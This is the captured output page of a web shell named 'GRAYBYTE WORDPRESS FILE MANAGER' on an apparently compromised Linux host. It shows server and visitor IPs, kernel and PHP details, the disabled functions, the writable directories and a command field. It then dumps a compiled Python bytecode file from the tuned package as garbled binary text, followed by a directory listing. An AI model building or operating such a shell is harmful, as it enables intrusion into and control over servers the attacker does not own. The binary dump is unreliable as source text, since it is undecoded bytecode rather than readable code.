GRAYBYTE WORDPRESS FILE MANAGER9955

Server IP : 149.255.58.128 / Your IP : 216.73.216.59
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib/python3.9/site-packages/tuned/utils/__pycache__/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib/python3.9/site-packages/tuned/utils/__pycache__//profile_recommender.cpython-39.pyc
a

�Գf9�@s�ddlZddlZddlZddlZddlZddlmZmZzddlZ	dZ
WndZ
Yn0ddlmZddl
ZddlmZej��ZGdd�d�ZdS)�N)�ConfigParser�ErrorTF)�commandsc@s0eZdZddd�Zdd�Zd
dd�Zd	d
�ZdS)�ProfileRecommenderFcCs||_t�|_d|_dS)N)�
_is_hardcodedr�	_commands�
_chassis_type)�selfZis_hardcoded�r
�C/usr/lib/python3.9/site-packages/tuned/utils/profile_recommender.py�__init__szProfileRecommender.__init__c
Cstj}|jr|St��dk}|s*t�d�|jtj|d�}|durF|Si}tj	D]z}g}zt�
|�}WnBty�}z*|jtj
kr�t�d||f�WYd}~n
d}~00|D]}tj�||�}	|	||<q�qPt|���D]*}||}	|j|	|d�}|dur�|Sq�|S)NrztProfile recommender is running without root privileges. Profiles with virt recommendation condition will be omitted.)�has_rootzerror accessing %s: %s)�constsZDEFAULT_PROFILEr�os�geteuid�log�warning�process_configZRECOMMEND_CONF_FILEZRECOMMEND_DIRECTORIES�listdir�OSError�errno�ENOENT�error�path�join�sorted�keys)
r	Zprofiler
Zmatching�filesZ	directory�contents�e�namerr
r
r�	recommends8
�
(
zProfileRecommender.recommendTcCs�d}d}�z�tj�|�sWdStdddd�}t|_t|��}|�||�Wd�n1s\0Y|��D�],}d}|�	|�D�]�}	|j
||	dd�}
|
dkr�d}
|	d	kr�|s�d}�q|t�|
|j
�d
g�dtj�s�d}q�|	dk�rt�|
|j
jtjdd
�tj��szd}q�|	ddk�rJtj�|	��rDt�|
|j
�|	�tj��szd}q�|	dd�dk�r�t��}|��t|�t�|
���dk�rzd}q�|	dk�r�|��}t�|
|tj��szd}q�|	dkr�d}
t�rJtjjtjjdd�}z|��|j d}
WnTt!t"t#f�yF}z4t$|d��r2|j%t%j&k�r2t'�(d|�WYd}~n
d}~00n|�sbt'�(d|�d}t�|
|
tj�dur�d}q�|rnt�d�}|�)d|�}�q�qnWn>t!t"t*f�y�}zt'�(d||f�WYd}~n
d}~00|S)NF�=�#)Z
delimitersZinline_comment_prefixes�strictT)�raw�z^$Zvirtz	virt-what��system)Zno_errorr�/�Zprocess�chassis_typeZsyspurpose_role)Zraise_on_error�rolerz/Failed to load the syspurpose										file: %sz\Failed to process 'syspurpose_role' in '%s'									, the syspurpose module is not availablez,[^,]*$zerror processing '%s', %s)+rr�isfiler�strZoptionxform�openZ	read_fileZsections�options�get�re�matchrZexecute�SrZSYSTEM_RELEASE_FILE�exists�procfsZpidstatsZreload_threads�lenZ
find_by_regex�compile�_get_chassis_type�
IGNORECASE�have_syspurpose�
syspurposerZSyspurposeStoreZUSER_SYSPURPOSEr�IOErrorr�KeyError�hasattrrrrr�subr)r	�fnamer
Zmatching_profileZsyspurpose_error_loggedZconfig�f�sectionr3�option�valueZpsr+r,�sr�rr
r
rr9s�
*�
���
���
(z!ProfileRecommender.process_configc
Cs�|jdur t�d|j�|jSgd�}zDtdd��}t|���}Wd�n1sV0Y|||_WnTty�t�d|�Yn6tt	fy�}zt�
d|�WYd}~n
d}~00|jr�t�d|j�|jSzVtjgd�tj
tj
d	d
�}|��\}}|j�r$t�d|j|f�n|����|_Wn8tt	f�yl}zt�
d|�WYd}~n
d}~00|j�s�t�d
�d|_nt�d|j�|jS)Nz"returning cached chassis type '%s')%r&ZOtherZUnknownZDesktopzLow Profile Desktopz	Pizza Boxz
Mini TowerZTowerZPortableZLaptopZNotebookz	Hand HeldzDocking Stationz
All In OnezSub NotebookzSpace-savingz	Lunch BoxzMain Server ChassiszExpansion ChassiszSub ChassiszBus Expansion ChassiszPeripheral ChassiszRAID ChassiszRack Mount ChassiszSealed-case PCzMulti-systemZ
CompactPCIZAdvancedTCAZBladezBlade EnclosingZTabletZConvertibleZ
DetachablezIoT GatewayzEmbedded PCzMini PCzStick PCz(/sys/devices/virtual/dmi/id/chassis_typerGz/Unknown chassis type id read from dmi sysfs: %dz"error accessing dmi sysfs file: %szchassis type - %s)Z	dmidecodez-szchassis-typeT)�stdout�stderrZ	close_fdsz,dmidecode finished with error (ret %d): '%s'z#error executing dmidecode tool : %sz!could not determine chassis type.r&)rr�debugr/�int�read�
IndexErrorrrr=r�
subprocess�Popen�PIPEZcommunicate�
returncode�strip�decode)r	ZDMI_CHASSIS_TYPESZsysfs_chassis_typeZchassis_type_idrZp_dmiZ
dmi_outputZ	dmi_errorr
r
rr9�s>
*$
�$
z$ProfileRecommender._get_chassis_typeN)F)T)�__name__�
__module__�__qualname__rr!rr9r
r
r
rrs

Ir)rr2rr6rNZtuned.utils.config_parserrrZsyspurpose.filesr<r;Ztuned.constsrZ
tuned.logsZtunedZtuned.utils.commandsrZlogsr1rrr
r
r
r�<module>s



[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
December 04 2024 22:44:57
0 / root
0755
__init__.cpython-39.opt-1.pyc
0.144 KB
December 02 2024 09:49:29
0 / root
0644
__init__.cpython-39.pyc
0.144 KB
December 02 2024 09:49:29
0 / root
0644
commands.cpython-39.opt-1.pyc
16.334 KB
December 02 2024 09:49:29
0 / root
0644
commands.cpython-39.pyc
16.334 KB
December 02 2024 09:49:29
0 / root
0644
config_parser.cpython-39.opt-1.pyc
1.962 KB
December 02 2024 09:49:29
0 / root
0644
config_parser.cpython-39.pyc
1.962 KB
December 02 2024 09:49:29
0 / root
0644
global_config.cpython-39.opt-1.pyc
4.443 KB
December 02 2024 09:49:29
0 / root
0644
global_config.cpython-39.pyc
4.443 KB
December 02 2024 09:49:29
0 / root
0644
nettool.cpython-39.opt-1.pyc
4.712 KB
December 02 2024 09:49:29
0 / root
0644
nettool.cpython-39.pyc
4.712 KB
December 02 2024 09:49:29
0 / root
0644
plugin_loader.cpython-39.opt-1.pyc
2.068 KB
December 02 2024 09:49:29
0 / root
0644
plugin_loader.cpython-39.pyc
2.184 KB
December 02 2024 09:49:29
0 / root
0644
polkit.cpython-39.opt-1.pyc
1.706 KB
December 02 2024 09:49:29
0 / root
0644
polkit.cpython-39.pyc
1.706 KB
December 02 2024 09:49:29
0 / root
0644
profile_recommender.cpython-39.opt-1.pyc
5.185 KB
December 02 2024 09:49:29
0 / root
0644
profile_recommender.cpython-39.pyc
5.185 KB
December 02 2024 09:49:29
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF